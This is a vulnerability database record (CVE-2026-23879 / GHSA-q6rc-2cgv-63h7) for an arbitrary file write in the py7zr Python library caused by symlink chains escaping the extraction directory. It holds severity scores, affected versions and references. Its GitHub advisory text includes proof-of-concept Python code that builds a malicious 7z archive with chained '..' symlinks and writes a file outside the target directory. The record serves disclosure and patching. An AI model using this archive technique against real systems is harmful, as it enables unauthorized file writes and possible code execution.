{"id":"CVE-2026-23879","aliases":["CVE-2026-23879","GHSA-q6rc-2cgv-63h7","PYSEC-2026-2974"],"related":[],"kind":"vulnerability","state":"published","title":"py7zr: Arbitrary File Write Vulnerability","summary":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.","source":"cvelist"},{"lang":"en","text":"### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n<img width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" />\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, 'w') as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode='r') as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted '{seven_path}' to '{output_dir}'\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n<img width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" />\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.","format":"markdown","source":"ghsa"},{"lang":"es","text":"py7zr es una biblioteca y utilidad basada en Python para soportar la compresión, descompresión, cifrado y descifrado de archivos 7zip. Las versiones 1.1.2 e inferiores contienen una vulnerabilidad de escritura de archivo arbitraria, que permite que los enlaces simbólicos sean recreados fuera del directorio de destino a través de cadenas de enlaces simbólicos maliciosos manipulados. Al usar extractall para extraer un archivo, la biblioteca restaura estos enlaces simbólicos, enlazándolos a directorios arbitrarios en el sistema de archivos del host. Durante la extracción, el programa solo verifica el arcname del enlace dentro del directorio de destino, pero ignora la resolución de ruta combinada del enlace simbólico. Los atacantes pueden explotar esta vulnerabilidad construyendo archivos maliciosos, eludiendo así las restricciones de límite de directorio implementadas por el extractor. La extracción posterior de archivos regulares a través de estos enlaces simbólicos puede resultar en escrituras de archivos arbitrarias. Esta vulnerabilidad puede conducir a la ejecución remota de código, escalada de privilegios, corrupción de datos o denegación de servicio. Este problema ha sido solucionado en la versión 1.1.3.","source":"nvd"}],"published":"2026-06-19T19:21:57.000Z","modified":"2026-10-25T22:10:00.150Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","score":8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","score":8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","score":8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","score":8,"rating":"HIGH"}],"cwes":["CWE-59"],"affected":[{"ranges":[{"version":"< 1.1.3","status":"affected"}],"vendor":"miurahr","product":"py7zr","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.3"}],"ecosystem":"PyPI","package":"py7zr","purl":"pkg:pypi/py7zr","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.3"}],"ecosystem":"PyPI","package":"py7zr","purl":"pkg:pypi/py7zr","source":"pysec"}],"references":[{"url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23879","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-q6rc-2cgv-63h7","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/miurahr/py7zr","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/py7zr/PYSEC-2026-2974.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/py7zr","tags":["package","web"],"sources":["ghsa","pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-06-25T15:57:29.992Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-23879","url":"https://www.cve.org/CVERecord?id=CVE-2026-23879","licence":"CVE Terms of Use","modified":"2026-06-25T15:57:59.954Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-q6rc-2cgv-63h7","url":"https://github.com/advisories/GHSA-q6rc-2cgv-63h7","licence":"CC-BY-4.0","modified":"2026-07-21T13:30:33.266Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-23879","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23879","licence":"Public domain","modified":"2026-10-25T22:10:00.150Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2974","url":"https://osv.dev/vulnerability/PYSEC-2026-2974","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:07.999Z"}],"updatedAt":"2026-11-25T22:59:25.729Z","epss":{"score":0.00498,"percentile":0.44237,"date":"2026-12-01T12:00:22.000Z"}}